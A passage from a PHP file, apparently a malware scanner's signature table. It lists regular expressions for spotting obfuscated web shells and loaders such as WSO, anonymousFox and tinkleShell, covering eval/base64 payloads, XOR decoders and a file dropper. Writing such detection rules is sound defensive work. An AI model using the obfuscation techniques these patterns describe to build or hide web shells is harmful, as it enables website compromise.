- 'full' => '~(\$\w+)=\'([\w\(;\$\)=\s\[\/\]."*]+)\';(\$\w+)=(?:\1\[[-+\(\d*\/\)]+\]\.?)+;(\$\w+)=(?:\1\[[-+\(\d*\/\)]+\]\.?)+;(\$\w+)=(?:\1\[[-+\(\d*\/\)]+\]\.?)+;(\$\w+)=\s+"([\'\w\/+]+)";(\$\w+)\.=\4;\8\.=\6;\8\.=\5;@(\$\w+)=\3\(\(\'+\),\s+\(\8\)\);@\9\(\);~msi',
- 'fast' => '~(\$\w+)=\'([\w\(;\$\)=\s\[\/\]."*]+)\';(\$\w+)=(?:\1\[[-+\(\d*\/\)]+\]\.?)+;(\$\w+)=(?:\1\[[-+\(\d*\/\)]+\]\.?)+;(\$\w+)=(?:\1\[[-+\(\d*\/\)]+\]\.?)+;(\$\w+)=\s+"([\'\w\/+]+)";(\$\w+)\.=\4;\8\.=\6;\8\.=\5;@(\$\w+)=\3\(\(\'+\),\s+\(\8\)\);@\9\(\);~msi',
- 'id' => 'wso'
- ),
- array(
- 'full' => '~error_reporting\(\d+\);\s*function\s*class_uc_key\((\$\w+)\){\s*(\$\w+)\s*=\s*strlen\s*\(trim\(\1\)\);\s*(\$\w+)\s*=\s*\'\';\s*for\((\$\w+)\s*=\s*0;\4\s*<\s*\2;\4\+=2\)\s*{\s*\3\s*\.=\s*pack\s*\("C",hexdec\s*\(substr\s\(\1,\4,2\)\)\);\s*}\s*return\s*\3;\s*}\s*header\("\w+-\w+:\s\w+\/\w+;\s*charset=(\w+)"\);\s*(\$\w+)=class_uc_key\("(6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827)"\)\.\'([\w\/\+=\\\\]+\'\)\)\);)\';\s*(\$\w+)=create_function\(\'\',\6\);\9\(\);~msi',
- 'fast' => '~\w+\(\d+\);\s*function\s*class_uc_key\((\$\w+)\){\s*(\$\w+)\s*=\s*strlen\s*\(trim\(\1\)\);\s*(\$\w+)\s*=\s*\'\';\s*for\((\$\w+)\s*=\s*0;\4\s*<\s*\2;\4\+=2\)\s*{\s*\3\s*\.=\s*pack\s*\("C",hexdec\s*\(substr\s\(\1,\4,2\)\)\);\s*}\s*return\s*\3;\s*}\s*header\("\w+-\w+:\s\w+\/\w+;\s*charset=(\w+)"\);\s*(\$\w+)=class_uc_key\("(6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827)"\)\.\'([\w\/\+=\\\\]+\'\)\)\);)\';\s*(\$\w+)=\w+\(\'\',\6\);\9\(\);~msi',
- 'id' => 'anonymousFox'
- ),
- array(
- 'full' => '~<\?php\s\$\w+=urldecode\(\'[%\w]+\'\);(?:\$\w+\.?=(?:\$\w+\{\d+\}\.?)+;)+\?><\?php\s(eval\(\$GLOBALS\[\'\w+\'\]\(\'(\w+)\'\)\);)\s\?><\?php\s\/\*\sBizden\soncekiler\sdemo\s\*\/(?:\$\w+\.?=(?:\$\w+\{?\d+\}?\.?)+;)+\$\w+=__FILE__;\$\w+=\w+;(eval\(\$\w+\(\'(\w+=)\'\)\);)return;\?[>\w|@[`\~=\+\/]+~msi',
- 'fast' => '~<\?php\s\$\w+=urldecode\(\'[%\w]+\'\);(?:\$\w+\.?=(?:\$\w+\{\d+\}\.?)+;)+\?><\?php\s(eval\(\$GLOBALS\[\'\w+\'\]\(\'(\w+)\'\)\);)\s\?><\?php\s(?:\/\*\sBizden\soncekiler\sdemo\s\*\/)?(?:\$\w+\.?=(?:\$\w+\{?\d+\}?\.?)+;)+\$\w+=__FILE__;\$\w+=\w+;(eval\(\$\w+\(\'(\w+=)\'\)\);)return;\?[>\w|@[`\~=\+\/]+~msi',
- 'id' => 'bizden'
- ),
- array(
- 'full' => '~(\$my_sucuri_encoding)\s{0,10}=\s{0,10}[\'"]([^\'"]+)[\'"];\s{0,10}(\$tempb64)\s{0,10}=\s{0,10}base64_decode\(\s{0,10}\1\);\s{0,10}eval\(\s{0,10}\3\s{0,10}\);~msi',
- 'fast' => '~(\$my_sucuri_encoding)\s{0,10}=\s{0,10}[\'"]([^\'"]+)[\'"];\s{0,10}(\$tempb64)\s{0,10}=\s{0,10}base64_decode\(\s{0,10}\1\);\s{0,10}eval\(\s{0,10}\3\s{0,10}\);~msi',
- 'id' => 'wsoEval'
- ),
- array(
- 'full' => '~\$fun\s=\s\'ass\';\$fun\s\.=\s\'ert\';@\$fun\(str_rot13\(\'(.*;)\'\)\);~msi',
- 'fast' => '~\$fun\s=\s\'ass\';\$fun\s\.=\s\'ert\';@\$fun\(str_rot13\(\'(.*;)\'\)\);~msi',
- 'id' => 'assertStr'
- ),
- array(
- 'full' => '~(function\s\w+\(\$\w+,\$\w+,\$\w+\){return\sstr_replace\(\$\w+,\$\w+,\$\w+\);}\s?){3}(\$\w+)\s=\s\'(\w+)\';\s\2\s=\s(\w+)\(\'(\w+)\',\'\',\2\);\s(\$\w+)\s=\s\'(\w+)\';\s\6\s=\s\4\(\'(\w+)\',\'\',\6\);\s(\$\w+)\s=\s\'(\w+)\';\s\9\s=\s\4\(\'(\w+)\',\'\',\9\);\s(\$\w+)\s=\s\'(\$\w+)\';\s(\$\w+)\s=\s\6\(\12,\9\.\'\(\'\.\2\.\'\(\'\.\12\.\'\)\);\'\);\s\14\(\'(\w+)\'\);~msi',
- 'fast' => '~(function\s\w+\(\$\w+,\$\w+,\$\w+\){return\sstr_replace\(\$\w+,\$\w+,\$\w+\);}\s?){3}(\$\w+)\s=\s\'(\w+)\';\s\2\s=\s(\w+)\(\'(\w+)\',\'\',\2\);\s(\$\w+)\s=\s\'(\w+)\';\s\6\s=\s\4\(\'(\w+)\',\'\',\6\);\s(\$\w+)\s=\s\'(\w+)\';\s\9\s=\s\4\(\'(\w+)\',\'\',\9\);\s(\$\w+)\s=\s\'(\$\w+)\';\s(\$\w+)\s=\s\6\(\12,\9\.\'\(\'\.\2\.\'\(\'\.\12\.\'\)\);\'\);\s\14\(\'(\w+)\'\);~msi',
- 'id' => 'funcVar'
- ),
- array(
- 'full' => '~(\$\w+)=[\'"](\w+)[\'"];(\$\w+=(?:\s?\1\[\d+\](?:\s?\.?))+;)+((?:\$\w+\(\d+\);)?(\$\w+=(\$\w+)\(["\']{2},(\$\w+\(\$\w+\(["\'][=\w\+\/]+[\'"]\)\))\);\$\w+\(\);))~msi',
- 'fast' => '~(\$\w+)=[\'"](\w+)[\'"];(\$\w+=(?:\s?\1\[\d+\](?:\s?\.?))+;)+((?:\$\w+\(\d+\);)?(\$\w+=(\$\w+)\(["\']{2},(\$\w+\(\$\w+\(["\'][=\w\+\/]+[\'"]\)\))\);\$\w+\(\);))~msi',
- 'id' => 'dictionaryVars'
- ),
- array(
- 'full' => '~(?:(?<concatVar>\$\w+)\s?=\s?""\s?;((?:\s?(?P=concatVar)\s?\.=\s?"[\w]+"\s?;\s?)+))?(\$\w+)\s?=\s?(?:(?P=concatVar)|"(?<strVal>[\w]+)")\s?;\s?if\s?\(\s?!function_exists\s?\(\s?"(\w+)"\)\){function\s\5\(\s?(\$\w+)\){\s?(?:\$\w+=\s?""\s?;)?\s?(\$\w+)\s?=\s?strlen\s?\(\s?\6\s?\)\s?\/\s?2\s?;\s?for\s?\(\s?(\$\w+)\s?=0\s?;\s?\8\s?<\s?\7\s?;\s?\8\+\+\s?\)\s?{\s?\$\w+\s?\.=\s?chr\s?\(\s?base_convert\s?\(\s?substr\s?\(\s?\6\s?,\s?\8\s?\*\s?2\s?,\s?2\s?\)\s?,\s?16\s?,\s?10\s?\)\s?\)\s?;\s?}\s?return\s?\$\w+;\s?}\s?}\s?\$\w+\s?=\s?create_function\s?\(\s?null\s?,\s?\5\(\s?\3\)\)\s?;\s?\3\(\)\s?;~msi',
- 'fast' => '~(?:(?<concatVar>\$\w+)\s?=\s?""\s?;((?:\s?(?P=concatVar)\s?\.=\s?"[\w]+"\s?;\s?)+))?(\$\w+)\s?=\s?(?:(?P=concatVar)|"(?<strVal>[\w]+)")\s?;\s?if\s?\(\s?!function_exists\s?\(\s?"(\w+)"\)\){function\s\5\(\s?(\$\w+)\){\s?(?:\$\w+=\s?""\s?;)?\s?(\$\w+)\s?=\s?strlen\s?\(\s?\6\s?\)\s?\/\s?2\s?;\s?for\s?\(\s?(\$\w+)\s?=0\s?;\s?\8\s?<\s?\7\s?;\s?\8\+\+\s?\)\s?{\s?\$\w+\s?\.=\s?chr\s?\(\s?base_convert\s?\(\s?substr\s?\(\s?\6\s?,\s?\8\s?\*\s?2\s?,\s?2\s?\)\s?,\s?16\s?,\s?10\s?\)\s?\)\s?;\s?}\s?return\s?\$\w+;\s?}\s?}\s?\$\w+\s?=\s?create_function\s?\(\s?null\s?,\s?\5\(\s?\3\)\)\s?;\s?\3\(\)\s?;~msi',
- 'id' => 'concatVarFunc'
- ),
- array(
- 'full' => '~function\s?(\w+)\(\){(((\$\w+)\.?="\w+";)+)return\seval\(\4\(\w+\(\)\)\);}function\s(\w+)\((\$\w+)\){((?:(\$\w+)\.?="\w+";)+)return\s\8\(\6\);}function\s?(\w+)\(\){((\$\w+)\.?="([\w\/+=]+)";)return\s(\w+)\(\11\);}function\s\13\((\$\w+)\){(\$\w+)=(\w+)\((\w+)\((\w+)\(\14\)\)\);return\s\15;}function\s\17\(\14\){(((\$\w+)\.?="\w+";)+)return\s\21\(\14\);}\1\(\);function\s\16\(\14\){(((\$\w+)\.?="\w+";)+)return\s\24\(\14\);}~msi',
- 'fast' => '~function\s?(\w+)\(\){(((\$\w+)\.?="\w+";)+)return\seval\(\4\(\w+\(\)\)\);}function\s(\w+)\((\$\w+)\){((?:(\$\w+)\.?="\w+";)+)return\s\8\(\6\);}function\s?(\w+)\(\){((\$\w+)\.?="([\w\/+=]+)";)return\s(\w+)\(\11\);}function\s\13\((\$\w+)\){(\$\w+)=(\w+)\((\w+)\((\w+)\(\14\)\)\);return\s\15;}function\s\17\(\14\){(((\$\w+)\.?="\w+";)+)return\s\21\(\14\);}\1\(\);function\s\16\(\14\){(((\$\w+)\.?="\w+";)+)return\s\24\(\14\);}~msi',
- 'id' => 'concatVarFuncFunc'
- ),
- array(
- 'full' => '~(?:(?:\s?\$\w+\s?=\s?strrev\("\w+"\);\s?)|(?:\s?\$\w+\s?=\s?strrev\("\w+"\);\s?)|(?:\s?eval\((?:\$\w+)?\([\'"][\w=]+[\'"]\)\);\s?)|(?:\s?eval\(\$\w+\(\$\w+\(\'[\w\/+=]+\'\)\)\);\s?)){3,4}~msi',
- 'fast' => '~(?:(?:\s?\$\w+\s?=\s?strrev\("\w+"\);\s?)|(?:\s?\$\w+\s?=\s?strrev\("\w+"\);\s?)|(?:\s?eval\((?:\$\w+)?\([\'"][\w=]+[\'"]\)\);\s?)|(?:\s?eval\(\$\w+\(\$\w+\(\'[\w\/+=]+\'\)\)\);\s?)){3,4}~msi',
- 'id' => 'evalVarDoubled'
- ),
- array(
- 'full' => '~(\$\w+)\s?=\s?(\w+)\("([\w+\/=]+)"\);\s?echo\s?\1;~msi',
- 'fast' => '~(\$\w+)\s?=\s?(\w+)\("([\w+\/=]+)"\);\s?echo\s?\1;~msi',
- 'id' => 'varFuncsEcho'
- ),
- array(
- 'full' => '~(\$\w+)="";\s?(\$\w+)=(\d+);\s?(\$\w+)=((?:\'[\w%]+\'\.?)+);\s(\$\w+)=((?:\4\[\d+\]\.?)+);\s?function\s\w+\(\){(?:.*?);\s}\s?\1=\w+\(\1,"\w+"\);\s?\$\w+=array\((?:\'\w+\',?)+\);\s\1=\w+\(\1,\sjoin\(\'\',\s\$\w+\)\s?\);\s?\$\w+\+=\d+;\s?\1=\w+\(\1,\w+\(\)\);\sfunction\s\w+\(\){(?:.*?);\s}\s\$\w+=\w+\(\);\s\$\w+=\w+\(\);\s\1\s?\.=\s?\$\w+\(\s?\$\w+\(\$\w+{\d+}\.\$\w+{\d+},\s?\d+\),\s?(?:\d+\,?\s?)+\);(?:.*?)if\(\$\w+==\d+\)(?:.*?)while\s\(\d+>\d\);(?:.*?)\s?if\s?\(216<230\)(?:.*?)while\s\(4>10\);\s\$\w+\s=\s\$\w+\("",\s\$\w+\(\$\w+\)\s\);\s\$\w+\(\);\s(?:(?:\s?function\s\w+\(\)(?:.*?);\s})|(?:\s?class\s\w+\s?{(?:.*?);(?:\s}){1,2}))+~msi',
- 'fast' => '~(\$\w+)="";\s?(\$\w+)=(\d+);\s?(\$\w+)=((?:\'[\w%]+\'\.?)+);\s(\$\w+)=((?:\4\[\d+\]\.?)+);\s?function\s\w+\(\){(?:.*?);\s}\s?\1=\w+\(\1,"\w+"\);\s?\$\w+=array\((?:\'\w+\',?)+\);\s\1=\w+\(\1,\sjoin\(\'\',\s\$\w+\)\s?\);\s?\$\w+\+=\d+;\s?\1=\w+\(\1,\w+\(\)\);\sfunction\s\w+\(\){(?:.*?);\s}\s\$\w+=\w+\(\);\s\$\w+=\w+\(\);\s\1\s?\.=\s?\$\w+\(\s?\$\w+\(\$\w+{\d+}\.\$\w+{\d+},\s?\d+\),\s?(?:\d+\,?\s?)+\);(?:.*?)if\(\$\w+==\d+\)(?:.*?)while\s\(\d+>\d\);(?:.*?)\s?if\s?\(216<230\)(?:.*?)while\s\(4>10\);\s\$\w+\s=\s\$\w+\("",\s\$\w+\(\$\w+\)\s\);\s\$\w+\(\);\s(?:(?:\s?function\s\w+\(\)(?:.*?);\s})|(?:\s?class\s\w+\s?{(?:.*?);(?:\s}){1,2}))+~msi',
- 'id' => 'varFuncsMany'
- ),
- array(
- 'full' => '~((\$(?:GLOBALS|{"[\\\\\w]+"})\[[\'"]\w+["\']\])\s?=\s?[\'"]+([\\\\\w]+)["\'];)\s?(?:(\$GLOBALS\[?(\s?(?:\2|\$GLOBALS\[\'\w+\'\])\[\d+\]\.?)+\])\s?=\s?\g<5>+;\s?)+(?:\g<4>\s?=\s[\$_\w]+;\s)+(?:@\g<4>\(\g<5>+\s?,\s?\w+\s?\);\s?)+@\g<4>\(\d+\);\s{0,50}(?:if\s?\(!\g<4>\s?\(\g<5>+\)\)\s{\s{0,50}\g<4>\(\g<5>+,\s\g<5>*\d*\);\s{0,50}}?\s{0,50})*(?:\$\w+\s?=\s?\w+;\s?)*\g<4>\s?=\s\g<5>+;\s?global\s?\$\w+;\s?function\s\w+\(\$\w+,\s\$\w+\)\s{\s?\$\w+\s?=\s?["\']{2};\s?for\s?\(\$\w+\s?=\d+;\s?\$\w+\s?<\s?\g<4>\(\$\w+\)\s?;\s?\)\s?{\s?for\s?\(\s?\$\w+=\d+;\s?\$\w+\s?<\s?\g<4>\(\$\w+\)\s?&&\s?\$\w+\s?<\g<4>\(\$\w+\);\s?\$\w+\+{2},\s?\$\w+\+{2}\)\s?{\s?\$\w+\s?\.=\s?\g<4>\(\g<4>\(\$\w+\[\$\w+\]\)\s?\^\s?\g<4>\(\$\w+\[\$\w+\]\)\);\s?}\s?}\s?return\s\$\w+;\s?}\s?function\s?\w+\(\$\w+,\s?\$\w+\)\s?{\s?global\s?\$\w+;\s?return\s\g<4>\(\g<4>\(\$\w+,\s?\$\w+\),\s?\$\w+\)\s?;\s?}\s?foreach\s?\(\g<4>\sas\s\$\w+=>\$\w+\)\s?{\s?\$\w+\s?=\s?\$\w+;\s?\$\w+\s?=\s?\$\w+;\s?}\s?if\s?\(!\$\w+\)\s?{\s?foreach\s?\(\g<4>\sas\s\$\w+\s?=>\s?\$\w+\)\s?{\s?\$\w+\s?=\s?\$\w+;\s?\$\w+\s?=\s?\$\w+;\s?}\s?}\s?\$\w+\s?=\s?@\g<4>\(\g<4>\(@?\g<4>\(\$\w+\),\s?\$\w+\)\);\s?if\s?\(isset\(\$\w+\[\g<5>+\]\)\s?&&\s?\$\w+==\$\w+\[\g<5>+\]\)\s?{\s?if\s?\(\$\w+\[\g<5>\]\s?==\s?\g<5>\)\s?{\s?\$\w+\s?=\s?array\(\s?\g<5>+\s?=>\s?@\g<4>\(\),\s?\g<5>+\s?=>\s?\g<5>+,\s?\);\s?echo\s?@\g<4>\(\$\w+\);\s?}\s?elseif\s?\(\$\w+\[\g<5>\]\s?==\s?\g<5>\)\s?{\s?eval\(\$\w+\[\g<5>\]\);\s?}\s?(?:exit\(\);)?\s?}\s?}?~msi',
- 'fast' => '~((\$(?:GLOBALS|{"[\\\\\w]+"})\[[\'"]\w+["\']\])\s?=\s?[\'"]+([\\\\\w]+)["\'];)\s?(?:(\$GLOBALS\[?(\s?(?:\2|\$GLOBALS\[\'\w+\'\])\[\d+\]\.?)+\])\s?=\s?\g<5>+;\s?)+(?:\g<4>\s?=\s[\$_\w]+;\s)+(?:@\g<4>\(\g<5>+\s?,\s?\w+\s?\);\s?)+@\g<4>\(\d+\);\s{0,50}(?:if\s?\(!\g<4>\s?\(\g<5>+\)\)\s{\s{0,50}\g<4>\(\g<5>+,\s\g<5>*\d*\);\s{0,50}}?\s{0,50})*(?:\$\w+\s?=\s?\w+;\s?)*\g<4>\s?=\s\g<5>+;\s?global\s?\$\w+;\s?function\s\w+\(\$\w+,\s\$\w+\)\s{\s?\$\w+\s?=\s?["\']{2};\s?for\s?\(\$\w+\s?=\d+;\s?\$\w+\s?<\s?\g<4>\(\$\w+\)\s?;\s?\)\s?{\s?for\s?\(\s?\$\w+=\d+;\s?\$\w+\s?<\s?\g<4>\(\$\w+\)\s?&&\s?\$\w+\s?<\g<4>\(\$\w+\);\s?\$\w+\+{2},\s?\$\w+\+{2}\)\s?{\s?\$\w+\s?\.=\s?\g<4>\(\g<4>\(\$\w+\[\$\w+\]\)\s?\^\s?\g<4>\(\$\w+\[\$\w+\]\)\);\s?}\s?}\s?return\s\$\w+;\s?}\s?function\s?\w+\(\$\w+,\s?\$\w+\)\s?{\s?global\s?\$\w+;\s?return\s\g<4>\(\g<4>\(\$\w+,\s?\$\w+\),\s?\$\w+\)\s?;\s?}\s?foreach\s?\(\g<4>\sas\s\$\w+=>\$\w+\)\s?{\s?\$\w+\s?=\s?\$\w+;\s?\$\w+\s?=\s?\$\w+;\s?}\s?if\s?\(!\$\w+\)\s?{\s?foreach\s?\(\g<4>\sas\s\$\w+\s?=>\s?\$\w+\)\s?{\s?\$\w+\s?=\s?\$\w+;\s?\$\w+\s?=\s?\$\w+;\s?}\s?}\s?\$\w+\s?=\s?@\g<4>\(\g<4>\(@?\g<4>\(\$\w+\),\s?\$\w+\)\);\s?if\s?\(isset\(\$\w+\[\g<5>+\]\)\s?&&\s?\$\w+==\$\w+\[\g<5>+\]\)\s?{\s?if\s?\(\$\w+\[\g<5>\]\s?==\s?\g<5>\)\s?{\s?\$\w+\s?=\s?array\(\s?\g<5>+\s?=>\s?@\g<4>\(\),\s?\g<5>+\s?=>\s?\g<5>+,\s?\);\s?echo\s?@\g<4>\(\$\w+\);\s?}\s?elseif\s?\(\$\w+\[\g<5>\]\s?==\s?\g<5>\)\s?{\s?eval\(\$\w+\[\g<5>\]\);\s?}\s?(?:exit\(\);)?\s?}\s?}?~msi',
- 'id' => 'globalArrayEval'
- ),
- array(
- 'full' => '~<\?php\s{0,30}(\$\w+)\s{0,30}=\s{0,30}"(.+?)";\s{0,30}((?:\$\w+\s{0,30}=\s{0,30}(?:\1\[\'\w\s{0,30}\'\s{0,30}\+\s{0,30}\d+\s{0,30}\+\s{0,30}\'\s{0,30}\w\'\]\s{0,30}\.?\s{0,30})+;\s{0,30})+)(\$\w+)\s{0,30}=\s{0,30}"(\d+)";\s{0,30}(?:\$\w+\s{0,30}=\s{0,30}\$\w+\(\s{0,30}\$\w+\s{0,30},\s{0,30}\$\w+\(\s{0,30}"\s{0,30}"\)\s{0,30},\s{0,30}"[\w\+]+"\)\s{0,30};\s{0,30})+(?:\$\w+\s{0,30}=\s{0,30}\$\w+\(\s{0,30}\$\w+\(\s{0,30}\$\w+\)\s{0,30},\s{0,30}\$\w+\(\s{0,30}?\$\w+\)\s{0,30}\)\s{0,30};\s{0,30})+\$\w+\((?:\s{0,30}\$\w+\(\s{0,30}"\s{0,20}\w\s{0,20}"\)\s{0,30}\.?\s{0,30})+"\(\\\\"\w+\\\\"\s{0,30},\s{0,30}"\s{0,30}\.\s{0,30}\$\w+\(\s{0,30}\$\w+\(\s{0,30}"\d+"\s{0,30},\s{0,30}\$\w+\(\s{0,30}"\s{0,20}"\)\s{0,30},\s{0,30}"[\d\w=]+"\)\s{0,30}\)\s{0,30}\.\s{0,30}"\s{0,30}\)\s{0,30};"\)\s{0,30};\s{0,30}\$\w+\s{0,30}=\s{0,30}\$\w+\(\w+\)\s{0,30};\s{0,30}\$\w+\(\s{0,30}(?:\$\w+\(\s{0,30}"\s{0,30}[?>]\s{0,30}"\)\s{0,30}\.\s{0,30})+(\$\w+)\(\s{0,30}(\$\w+)\(\s{0,30}(\$\w+),\s{0,30}(\$\w+)\(\s{0,30}"\s{0,30}"\)\s{0,30},\s{0,30}(\$\w+)\(\s{0,30}"([()\w@|*#\[\]&\/\+=]+)"\s{0,30},\s{0,30}(\$\w+),\s{0,30}(\$\w+)\)\s{0,30}\)\)\s{0,30}\)\s{0,30};\s{0,30}\$\w+\s?=\s?\d+\s?;\s{0,30}\?>~msi',
- 'fast' => '~<\?php\s{0,30}(\$\w+)\s{0,30}=\s{0,30}"(.+?)";\s{0,30}((?:\$\w+\s{0,30}=\s{0,30}(?:\1\[\'\w\s{0,30}\'\s{0,30}\+\s{0,30}\d+\s{0,30}\+\s{0,30}\'\s{0,30}\w\'\]\s{0,30}\.?\s{0,30})+;\s{0,30})+)(\$\w+)\s{0,30}=\s{0,30}"(\d+)";\s{0,30}(?:\$\w+\s{0,30}=\s{0,30}\$\w+\(\s{0,30}\$\w+\s{0,30},\s{0,30}\$\w+\(\s{0,30}"\s{0,30}"\)\s{0,30},\s{0,30}"[\w\+]+"\)\s{0,30};\s{0,30})+(?:\$\w+\s{0,30}=\s{0,30}\$\w+\(\s{0,30}\$\w+\(\s{0,30}\$\w+\)\s{0,30},\s{0,30}\$\w+\(\s{0,30}?\$\w+\)\s{0,30}\)\s{0,30};\s{0,30})+\$\w+\((?:\s{0,30}\$\w+\(\s{0,30}"\s{0,20}\w\s{0,20}"\)\s{0,30}\.?\s{0,30})+"\(\\\\"\w+\\\\"\s{0,30},\s{0,30}"\s{0,30}\.\s{0,30}\$\w+\(\s{0,30}\$\w+\(\s{0,30}"\d+"\s{0,30},\s{0,30}\$\w+\(\s{0,30}"\s{0,20}"\)\s{0,30},\s{0,30}"[\d\w=]+"\)\s{0,30}\)\s{0,30}\.\s{0,30}"\s{0,30}\)\s{0,30};"\)\s{0,30};\s{0,30}\$\w+\s{0,30}=\s{0,30}\$\w+\(\w+\)\s{0,30};\s{0,30}\$\w+\(\s{0,30}(?:\$\w+\(\s{0,30}"\s{0,30}[?>]\s{0,30}"\)\s{0,30}\.\s{0,30})+(\$\w+)\(\s{0,30}(\$\w+)\(\s{0,30}(\$\w+),\s{0,30}(\$\w+)\(\s{0,30}"\s{0,30}"\)\s{0,30},\s{0,30}(\$\w+)\(\s{0,30}"([()\w@|*#\[\]&\/\+=]+)"\s{0,30},\s{0,30}(\$\w+),\s{0,30}(\$\w+)\)\s{0,30}\)\)\s{0,30}\)\s{0,30};\s{0,30}\$\w+\s?=\s?\d+\s?;\s{0,30}\?>~msi',
- 'id' => 'tinkleShell'
- ),
- array(
- 'full' => '~(?:\$\w+="\w+";)+(\$\w+)="([\w_)(;\/\.*]+)";\$\w+="\w+";function\s(\w+)\((?:\$\w+,?){3}\){return\s?""(?:\.\$\w+\.""){3};}(?:\$\w+=(?:(?:"\w+")|(?:\3\((?:\1\[\d+\],?\.?)+\))|(?:(?:\3\()+(?:\$\w+\,?(?:\)\,)?)+)(?:(?:(?:\3\()+)*(?:(?:\$\w+,?)+)*(?:\),)*(?:\)*))+);)+\$\w+=\3\((?:\1\[\d+\]\.?)+(?:,"")+\);(?:\$\w+=\3\(\3\(\$\w+,\$\w+,\$\w+\),\3\((?:\$\w+,?)+\),\3\(\$\w+,\3\(\$\w+,\$\w+,""\),\$\w+\)\)\."\'(?<str>[\w\/\+]+)\'")\.\3\((?:\1\[\d+\],?\.?)+\);\$\w+\(\$\w+,array\("","}"\.\$\w+\."\/+"\)\);~msi',
- 'fast' => '~(?:\$\w+="\w+";)+(\$\w+)="([\w_)(;\/\.*]+)";\$\w+="\w+";function\s(\w+)\((?:\$\w+,?){3}\){return\s?""(?:\.\$\w+\.""){3};}(?:\$\w+=(?:(?:"\w+")|(?:\3\((?:\1\[\d+\],?\.?)+\))|(?:(?:\3\()+(?:\$\w+\,?(?:\)\,)?)+)(?:(?:(?:\3\()+)*(?:(?:\$\w+,?)+)*(?:\),)*(?:\)*))+);)+\$\w+=\3\((?:\1\[\d+\]\.?)+(?:,"")+\);(?:\$\w+=\3\(\3\(\$\w+,\$\w+,\$\w+\),\3\((?:\$\w+,?)+\),\3\(\$\w+,\3\(\$\w+,\$\w+,""\),\$\w+\)\)\."\'(?<str>[\w\/\+]+)\'")\.\3\((?:\1\[\d+\],?\.?)+\);\$\w+\(\$\w+,array\("","}"\.\$\w+\."\/+"\)\);~msi',
- 'id' => 'wsoFunc'
- ),
- array(
- 'full' => '~\$\w+\[\'\w+\'\]\s?=\s?"[\w;\/\.*)(]+";\s?\$\w+\[\'\w+\'\]\s?=\s?(?:\$\w+\[\'\w+\'\]\[\d+\]\.?)+;\s?\$\w+\s?=\s?(?:"[\w()]*"\.chr\([\d-]+\)\.?)+"\(";\s?\$\w+\s?=\s?"[)\\\\\w;]+";\s?\$\w+\s?=\s?\$\w+\."\'(?<str>[\w\/\+]+)\'"\.\$\w+;\s?\$\w+\[\'\w+\'\]\((?:\$\w+\[\'\w+\'\]\[\d+\]\.?)+,\s?\$\w+\s?,"\d+"\);~msi',
- 'fast' => '~\$\w+\[\'\w+\'\]\s?=\s?"[\w;\/\.*)(]+";\s?\$\w+\[\'\w+\'\]\s?=\s?(?:\$\w+\[\'\w+\'\]\[\d+\]\.?)+;\s?\$\w+\s?=\s?(?:"[\w()]*"\.chr\([\d-]+\)\.?)+"\(";\s?\$\w+\s?=\s?"[)\\\\\w;]+";\s?\$\w+\s?=\s?\$\w+\."\'(?<str>[\w\/\+]+)\'"\.\$\w+;\s?\$\w+\[\'\w+\'\]\((?:\$\w+\[\'\w+\'\]\[\d+\]\.?)+,\s?\$\w+\s?,"\d+"\);~msi',
- 'id' => 'wsoFunc'
- ),
- array(
- 'full' => '~function\s(\w+)\((\$\w+)\)\s?{\s?\2=gzinflate\(base64_decode\(\2\)\);\s?for\((\$\w+)=\d+;\3<strlen\(\2\);\3\+\+\)\s?{\s?\2\[\3\]\s?=\s?chr\(ord\(\2\[\3\]\)-\d+\);\s?}\s?return\s\2;\s?}eval\(\1\("([\w\+\/=]+)"\)\);~msi',
- 'fast' => '~function\s(\w+)\((\$\w+)\)\s?{\s?\2=gzinflate\(base64_decode\(\2\)\);\s?for\((\$\w+)=\d+;\3<strlen\(\2\);\3\+\+\)\s?{\s?\2\[\3\]\s?=\s?chr\(ord\(\2\[\3\]\)-\d+\);\s?}\s?return\s\2;\s?}eval\(\1\("([\w\+\/=]+)"\)\);~msi',
- 'id' => 'evalWanFunc',
- ),
- array(
- 'full' => '~if\s\(file_exists\("(\w+)"\)\){\s?}\s?else\s?{\s?(\$\w+)\s?=\s?fopen\(\'\1\.php\',\s?\'w\'\);\s?(\$\w+)\s?=\s?base64_decode\("([\w\+\/=]+)"\);\s?fwrite\(\2\s?,\3\);\s?fclose\(\2\);\s?}~msi',
- 'fast' => '~if\s\(file_exists\("(\w+)"\)\){\s?}\s?else\s?{\s?(\$\w+)\s?=\s?fopen\(\'\1\.php\',\s?\'w\'\);\s?(\$\w+)\s?=\s?base64_decode\("([\w\+\/=]+)"\);\s?fwrite\(\2\s?,\3\);\s?fclose\(\2\);\s?}~msi',
- 'id' => 'funcFile',
- ),
- array(
- 'full' => '~(\$GLOBALS\[\'\w+\'\]\s=\sarray\((?:\s\'\w+\'\s=>\s\'?\w+\'?,)+\s\);\s((?:\$\w+=(?:\'\w+\'\.?)+;)+)(?:if\(!\$\w+\((?:\'\w*\'\.?)+\)\){function\s\w+\(\$\w+\){.*?else{function\s\w+\(\$\w+\){.*?return\s\$\w+\(\$\w+\);}}){2})\$\w+=(?:\'\w*\'\.?)+;(\$\w+)\s?=\s?\$\w+\(\'\$\w+\',\$\w+\.\'\(.\.\$\w+\.(?:\'[\w(\$);]*\'\.?)+\);\3\("([\w\/\+=]+)"\);~msi',
- 'fast' => '~(\$GLOBALS\[\'\w+\'\]\s=\sarray\((?:\s\'\w+\'\s=>\s\'?\w+\'?,)+\s\);\s((?:\$\w+=(?:\'\w+\'\.?)+;)+)(?:if\(!\$\w+\((?:\'\w*\'\.?)+\)\){function\s\w+\(\$\w+\){.*?else{function\s\w+\(\$\w+\){.*?return\s\$\w+\(\$\w+\);}}){2})\$\w+=(?:\'\w*\'\.?)+;(\$\w+)\s?=\s?\$\w+\(\'\$\w+\',\$\w+\.\'\(.\.\$\w+\.(?:\'[\w(\$);]*\'\.?)+\);\3\("([\w\/\+=]+)"\);~msi',
- 'id' => 'gulf',
- ),
- array(
- 'full' => '~(\$\w+)=(\w+);(\$\w+)="(.+?)";(\$\w+)=\3;(\$\w+)=strlen\(\5\);(\$\w+)=\'\';for\((\$\w+)=\d+;\8<\6;\8\+\+\)\7\s?\.=\s?chr\(ord\(\5\[\8\]\)\s?\^\s?\1\);eval\("\?>"\.\7\."<\?"\);~msi',
